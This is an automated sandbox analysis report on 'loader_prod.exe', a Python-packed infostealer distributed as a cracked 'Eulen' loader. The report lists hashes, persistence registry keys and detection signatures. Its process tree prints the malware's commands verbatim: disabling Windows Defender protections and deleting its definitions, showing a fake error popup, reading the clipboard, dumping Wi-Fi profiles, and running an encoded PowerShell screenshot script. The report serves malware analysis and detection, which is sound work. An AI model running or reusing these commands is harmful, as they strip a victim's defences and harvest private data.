Analysis
-
max time kernel
150s -
max time network
135s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
02-06-2024 01:25
Behavioral task
behavioral1
Sample
Eulen 8.27.5 (cracked)/loader_prod.rar
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Eulen 8.27.5 (cracked)/loader_prod.rar
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
loader_prod.exe
Resource
win10-20240404-en
Behavioral task
behavioral4
Sample
loader_prod.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
3��=K:�.pyc
Resource
win10-20240404-en
Behavioral task
behavioral6
Sample
3��=K:�.pyc
Resource
win10v2004-20240508-en
General
-
Target
loader_prod.exe
-
Size
7.5MB
-
MD5
3fe9fb97059d1f3d4f61fd831ccd98c7
-
SHA1
d38de3dbf7aec2b2eea96fd8cb084aaf1733acf3
-
SHA256
827f032a5e2b44686dbb657f2d9b6992539ac73eb08c5f02f449aab35423edc5
-
SHA512
e8193418127a042e359d8548ae7158b980510c51622d904064254efcc1993cb540cd25fbccb7ac48f518e74874b88de1ac94c537131260b57df3294c78667e73
-
SSDEEP
196608:Wrk/0cDeMgkLjv+bhqNVoBKUh8mz4Iv9Plu1D7AU:AieMpL+9qz8/b4IzuRAU
Malware Config
Signatures
-
Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
Processes:
MpCmdRun.exepid process 3724 MpCmdRun.exe -
Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs
Processes:
explorer.exesvchost.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" svchost.exe -
Processes:
powershell.exepowershell.exepid process 2576 powershell.exe 3144 powershell.exe -
Executes dropped EXE 8 IoCs
Processes:
loader_prod.exe loader_prod.exe rar.exeicsys.icn.exeexplorer.exespoolsv.exesvchost.exespoolsv.exepid process 3764 loader_prod.exe 2840 loader_prod.exe 4420 rar.exe 1536 icsys.icn.exe 3760 explorer.exe 1616 spoolsv.exe 2184 svchost.exe 4160 spoolsv.exe -
Loads dropped DLL 16 IoCs
Processes:
loader_prod.exepid process 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe 2840 loader_prod.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\_MEI37642\python311.dll upx behavioral3/memory/2840-39-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\_ssl.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\libcrypto-3.dll upx behavioral3/memory/2840-62-0x00007FFFF8F90000-0x00007FFFF8F9F000-memory.dmp upx behavioral3/memory/2840-61-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\_sqlite3.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\_socket.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\_queue.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\_lzma.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\_hashlib.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\_decimal.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\_bz2.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\unicodedata.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\sqlite3.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\select.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI37642\libssl-3.dll upx \Users\Admin\AppData\Local\Temp\_MEI37642\libffi-8.dll upx \Users\Admin\AppData\Local\Temp\_MEI37642\_ctypes.pyd upx behavioral3/memory/2840-68-0x00007FFFF84F0000-0x00007FFFF851D000-memory.dmp upx behavioral3/memory/2840-70-0x00007FFFF84D0000-0x00007FFFF84E9000-memory.dmp upx behavioral3/memory/2840-72-0x00007FFFF84A0000-0x00007FFFF84C3000-memory.dmp upx behavioral3/memory/2840-74-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmp upx behavioral3/memory/2840-78-0x00007FFFF8470000-0x00007FFFF847D000-memory.dmp upx behavioral3/memory/2840-77-0x00007FFFF8480000-0x00007FFFF8499000-memory.dmp upx behavioral3/memory/2840-80-0x00007FFFF5E70000-0x00007FFFF5EA3000-memory.dmp upx behavioral3/memory/2840-83-0x00007FFFE5EE0000-0x00007FFFE6402000-memory.dmp upx behavioral3/memory/2840-85-0x00007FFFF36F0000-0x00007FFFF37BD000-memory.dmp upx behavioral3/memory/2840-84-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmp upx behavioral3/memory/2840-90-0x00007FFFF5E60000-0x00007FFFF5E6D000-memory.dmp upx behavioral3/memory/2840-92-0x00007FFFE5DC0000-0x00007FFFE5EDC000-memory.dmp upx behavioral3/memory/2840-88-0x00007FFFF8450000-0x00007FFFF8464000-memory.dmp upx behavioral3/memory/2840-87-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmp upx behavioral3/memory/2840-416-0x00007FFFF84A0000-0x00007FFFF84C3000-memory.dmp upx behavioral3/memory/2840-417-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmp upx behavioral3/memory/2840-481-0x00007FFFF8480000-0x00007FFFF8499000-memory.dmp upx behavioral3/memory/2840-494-0x00007FFFF36F0000-0x00007FFFF37BD000-memory.dmp upx behavioral3/memory/2840-498-0x00007FFFF8470000-0x00007FFFF847D000-memory.dmp upx behavioral3/memory/2840-497-0x00007FFFE5DC0000-0x00007FFFE5EDC000-memory.dmp upx behavioral3/memory/2840-493-0x00007FFFE5EE0000-0x00007FFFE6402000-memory.dmp upx behavioral3/memory/2840-492-0x00007FFFF5E70000-0x00007FFFF5EA3000-memory.dmp upx behavioral3/memory/2840-483-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmp upx behavioral3/memory/2840-489-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmp upx behavioral3/memory/2840-484-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmp upx behavioral3/memory/2840-530-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmp upx behavioral3/memory/2840-555-0x00007FFFF5E70000-0x00007FFFF5EA3000-memory.dmp upx behavioral3/memory/2840-556-0x00007FFFE5EE0000-0x00007FFFE6402000-memory.dmp upx behavioral3/memory/2840-554-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmp upx behavioral3/memory/2840-553-0x00007FFFF8480000-0x00007FFFF8499000-memory.dmp upx behavioral3/memory/2840-552-0x00007FFFF8470000-0x00007FFFF847D000-memory.dmp upx behavioral3/memory/2840-551-0x00007FFFF84A0000-0x00007FFFF84C3000-memory.dmp upx behavioral3/memory/2840-550-0x00007FFFF84D0000-0x00007FFFF84E9000-memory.dmp upx behavioral3/memory/2840-549-0x00007FFFF84F0000-0x00007FFFF851D000-memory.dmp upx behavioral3/memory/2840-548-0x00007FFFF8F90000-0x00007FFFF8F9F000-memory.dmp upx behavioral3/memory/2840-547-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmp upx behavioral3/memory/2840-546-0x00007FFFF36F0000-0x00007FFFF37BD000-memory.dmp upx behavioral3/memory/2840-545-0x00007FFFF5E60000-0x00007FFFF5E6D000-memory.dmp upx behavioral3/memory/2840-544-0x00007FFFE5DC0000-0x00007FFFE5EDC000-memory.dmp upx behavioral3/memory/2840-542-0x00007FFFF8450000-0x00007FFFF8464000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
explorer.exesvchost.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO" explorer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO" explorer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO" svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO" svchost.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 5 ip-api.com -
Drops file in System32 directory 2 IoCs
Processes:
explorer.exesvchost.exedescription ioc process File opened for modification C:\Windows\SysWOW64\explorer.exe explorer.exe File opened for modification C:\Windows\SysWOW64\explorer.exe svchost.exe -
Drops file in Windows directory 5 IoCs
Processes:
icsys.icn.exeexplorer.exespoolsv.exeloader_prod.exedescription ioc process File opened for modification \??\c:\windows\resources\themes\explorer.exe icsys.icn.exe File opened for modification \??\c:\windows\resources\spoolsv.exe explorer.exe File opened for modification \??\c:\windows\resources\svchost.exe spoolsv.exe File opened for modification C:\Windows\Resources\tjud.exe explorer.exe File opened for modification C:\Windows\Resources\Themes\icsys.icn.exe loader_prod.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Enumerates processes with tasklist 1 TTPs 2 IoCs
Processes:
tasklist.exetasklist.exepid process 2580 tasklist.exe 1920 tasklist.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
loader_prod.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeicsys.icn.exepid process 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 1768 loader_prod.exe 3144 powershell.exe 2228 powershell.exe 3144 powershell.exe 2228 powershell.exe 3144 powershell.exe 2228 powershell.exe 2568 powershell.exe 2568 powershell.exe 2576 powershell.exe 2576 powershell.exe 2568 powershell.exe 2568 powershell.exe 2576 powershell.exe 2576 powershell.exe 4908 powershell.exe 4908 powershell.exe 4908 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe 692 powershell.exe 692 powershell.exe 692 powershell.exe 5008 powershell.exe 5008 powershell.exe 5008 powershell.exe 1536 icsys.icn.exe 1536 icsys.icn.exe 1536 icsys.icn.exe 1536 icsys.icn.exe 1536 icsys.icn.exe 1536 icsys.icn.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
Processes:
explorer.exesvchost.exepid process 3760 explorer.exe 2184 svchost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exetasklist.exeWMIC.exedescription pid process Token: SeDebugPrivilege 3144 powershell.exe Token: SeDebugPrivilege 2228 powershell.exe Token: SeDebugPrivilege 2580 tasklist.exe Token: SeIncreaseQuotaPrivilege 2756 WMIC.exe Token: SeSecurityPrivilege 2756 WMIC.exe Token: SeTakeOwnershipPrivilege 2756 WMIC.exe Token: SeLoadDriverPrivilege 2756 WMIC.exe Token: SeSystemProfilePrivilege 2756 WMIC.exe Token: SeSystemtimePrivilege 2756 WMIC.exe Token: SeProfSingleProcessPrivilege 2756 WMIC.exe Token: SeIncBasePriorityPrivilege 2756 WMIC.exe Token: SeCreatePagefilePrivilege 2756 WMIC.exe Token: SeBackupPrivilege 2756 WMIC.exe Token: SeRestorePrivilege 2756 WMIC.exe Token: SeShutdownPrivilege 2756 WMIC.exe Token: SeDebugPrivilege 2756 WMIC.exe Token: SeSystemEnvironmentPrivilege 2756 WMIC.exe Token: SeRemoteShutdownPrivilege 2756 WMIC.exe Token: SeUndockPrivilege 2756 WMIC.exe Token: SeManageVolumePrivilege 2756 WMIC.exe Token: 33 2756 WMIC.exe Token: 34 2756 WMIC.exe Token: 35 2756 WMIC.exe Token: 36 2756 WMIC.exe Token: SeIncreaseQuotaPrivilege 3144 powershell.exe Token: SeSecurityPrivilege 3144 powershell.exe Token: SeTakeOwnershipPrivilege 3144 powershell.exe Token: SeLoadDriverPrivilege 3144 powershell.exe Token: SeSystemProfilePrivilege 3144 powershell.exe Token: SeSystemtimePrivilege 3144 powershell.exe Token: SeProfSingleProcessPrivilege 3144 powershell.exe Token: SeIncBasePriorityPrivilege 3144 powershell.exe Token: SeCreatePagefilePrivilege 3144 powershell.exe Token: SeBackupPrivilege 3144 powershell.exe Token: SeRestorePrivilege 3144 powershell.exe Token: SeShutdownPrivilege 3144 powershell.exe Token: SeDebugPrivilege 3144 powershell.exe Token: SeSystemEnvironmentPrivilege 3144 powershell.exe Token: SeRemoteShutdownPrivilege 3144 powershell.exe Token: SeUndockPrivilege 3144 powershell.exe Token: SeManageVolumePrivilege 3144 powershell.exe Token: 33 3144 powershell.exe Token: 34 3144 powershell.exe Token: 35 3144 powershell.exe Token: 36 3144 powershell.exe Token: SeIncreaseQuotaPrivilege 2756 WMIC.exe Token: SeSecurityPrivilege 2756 WMIC.exe Token: SeTakeOwnershipPrivilege 2756 WMIC.exe Token: SeLoadDriverPrivilege 2756 WMIC.exe Token: SeSystemProfilePrivilege 2756 WMIC.exe Token: SeSystemtimePrivilege 2756 WMIC.exe Token: SeProfSingleProcessPrivilege 2756 WMIC.exe Token: SeIncBasePriorityPrivilege 2756 WMIC.exe Token: SeCreatePagefilePrivilege 2756 WMIC.exe Token: SeBackupPrivilege 2756 WMIC.exe Token: SeRestorePrivilege 2756 WMIC.exe Token: SeShutdownPrivilege 2756 WMIC.exe Token: SeDebugPrivilege 2756 WMIC.exe Token: SeSystemEnvironmentPrivilege 2756 WMIC.exe Token: SeRemoteShutdownPrivilege 2756 WMIC.exe Token: SeUndockPrivilege 2756 WMIC.exe Token: SeManageVolumePrivilege 2756 WMIC.exe Token: 33 2756 WMIC.exe Token: 34 2756 WMIC.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
loader_prod.exeicsys.icn.exeexplorer.exespoolsv.exesvchost.exespoolsv.exepid process 1768 loader_prod.exe 1768 loader_prod.exe 1536 icsys.icn.exe 1536 icsys.icn.exe 3760 explorer.exe 3760 explorer.exe 1616 spoolsv.exe 1616 spoolsv.exe 2184 svchost.exe 2184 svchost.exe 4160 spoolsv.exe 4160 spoolsv.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
loader_prod.exeloader_prod.exe loader_prod.exe cmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 1768 wrote to memory of 3764 1768 loader_prod.exe loader_prod.exe PID 1768 wrote to memory of 3764 1768 loader_prod.exe loader_prod.exe PID 3764 wrote to memory of 2840 3764 loader_prod.exe loader_prod.exe PID 3764 wrote to memory of 2840 3764 loader_prod.exe loader_prod.exe PID 2840 wrote to memory of 5004 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 5004 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 4448 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 4448 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 2932 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 2932 2840 loader_prod.exe cmd.exe PID 5004 wrote to memory of 3144 5004 cmd.exe powershell.exe PID 5004 wrote to memory of 3144 5004 cmd.exe powershell.exe PID 4448 wrote to memory of 2228 4448 cmd.exe powershell.exe PID 4448 wrote to memory of 2228 4448 cmd.exe powershell.exe PID 2932 wrote to memory of 4484 2932 cmd.exe mshta.exe PID 2932 wrote to memory of 4484 2932 cmd.exe mshta.exe PID 2840 wrote to memory of 4316 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 4316 2840 loader_prod.exe cmd.exe PID 4316 wrote to memory of 2580 4316 cmd.exe tasklist.exe PID 4316 wrote to memory of 2580 4316 cmd.exe tasklist.exe PID 2840 wrote to memory of 4012 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 4012 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 1052 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 1052 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 2340 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 2340 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 4416 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 4416 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 5052 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 5052 2840 loader_prod.exe cmd.exe PID 4012 wrote to memory of 2756 4012 cmd.exe WMIC.exe PID 4012 wrote to memory of 2756 4012 cmd.exe WMIC.exe PID 2840 wrote to memory of 4160 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 4160 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 508 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 508 2840 loader_prod.exe cmd.exe PID 2340 wrote to memory of 1920 2340 cmd.exe tasklist.exe PID 2340 wrote to memory of 1920 2340 cmd.exe tasklist.exe PID 1052 wrote to memory of 2568 1052 cmd.exe powershell.exe PID 1052 wrote to memory of 2568 1052 cmd.exe powershell.exe PID 4160 wrote to memory of 1708 4160 cmd.exe systeminfo.exe PID 4160 wrote to memory of 1708 4160 cmd.exe systeminfo.exe PID 4416 wrote to memory of 2564 4416 cmd.exe tree.com PID 4416 wrote to memory of 2564 4416 cmd.exe tree.com PID 5052 wrote to memory of 4032 5052 cmd.exe netsh.exe PID 5052 wrote to memory of 4032 5052 cmd.exe netsh.exe PID 508 wrote to memory of 2576 508 cmd.exe powershell.exe PID 508 wrote to memory of 2576 508 cmd.exe powershell.exe PID 2840 wrote to memory of 3116 2840 loader_prod.exe Conhost.exe PID 2840 wrote to memory of 3116 2840 loader_prod.exe Conhost.exe PID 3116 wrote to memory of 4704 3116 cmd.exe Conhost.exe PID 3116 wrote to memory of 4704 3116 cmd.exe Conhost.exe PID 2840 wrote to memory of 3644 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 3644 2840 loader_prod.exe cmd.exe PID 4448 wrote to memory of 3724 4448 cmd.exe MpCmdRun.exe PID 4448 wrote to memory of 3724 4448 cmd.exe MpCmdRun.exe PID 3644 wrote to memory of 3972 3644 cmd.exe tree.com PID 3644 wrote to memory of 3972 3644 cmd.exe tree.com PID 2840 wrote to memory of 3760 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 3760 2840 loader_prod.exe cmd.exe PID 3760 wrote to memory of 504 3760 cmd.exe tree.com PID 3760 wrote to memory of 504 3760 cmd.exe tree.com PID 2840 wrote to memory of 3616 2840 loader_prod.exe cmd.exe PID 2840 wrote to memory of 3616 2840 loader_prod.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\loader_prod.exe"C:\Users\Admin\AppData\Local\Temp\loader_prod.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1768 -
\??\c:\users\admin\appdata\local\temp\loader_prod.exec:\users\admin\appdata\local\temp\loader_prod.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3764 -
\??\c:\users\admin\appdata\local\temp\loader_prod.exec:\users\admin\appdata\local\temp\loader_prod.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\loader_prod.exe '"4⤵
- Suspicious use of WriteProcessMemory
PID:5004 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\loader_prod.exe '5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3144 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"4⤵
- Suspicious use of WriteProcessMemory
PID:4448 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2228 -
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All5⤵
- Deletes Windows Defender Definitions
PID:3724 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error 4562', 0, 'Error 4562', 32+16);close()""4⤵
- Suspicious use of WriteProcessMemory
PID:2932 -
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error 4562', 0, 'Error 4562', 32+16);close()"5⤵PID:4484
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Suspicious use of WriteProcessMemory
PID:4316 -
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2580 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"4⤵
- Suspicious use of WriteProcessMemory
PID:4012 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2756 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"4⤵
- Suspicious use of WriteProcessMemory
PID:1052 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard5⤵
- Suspicious behavior: EnumeratesProcesses
PID:2568 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
PID:1920 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
- Suspicious use of WriteProcessMemory
PID:4416 -
C:\Windows\system32\tree.comtree /A /F5⤵PID:2564
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"4⤵
- Suspicious use of WriteProcessMemory
PID:5052 -
C:\Windows\system32\netsh.exenetsh wlan show profile5⤵PID:4032
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"4⤵
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Windows\system32\systeminfo.exesysteminfo5⤵
- Gathers system information
PID:1708 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEg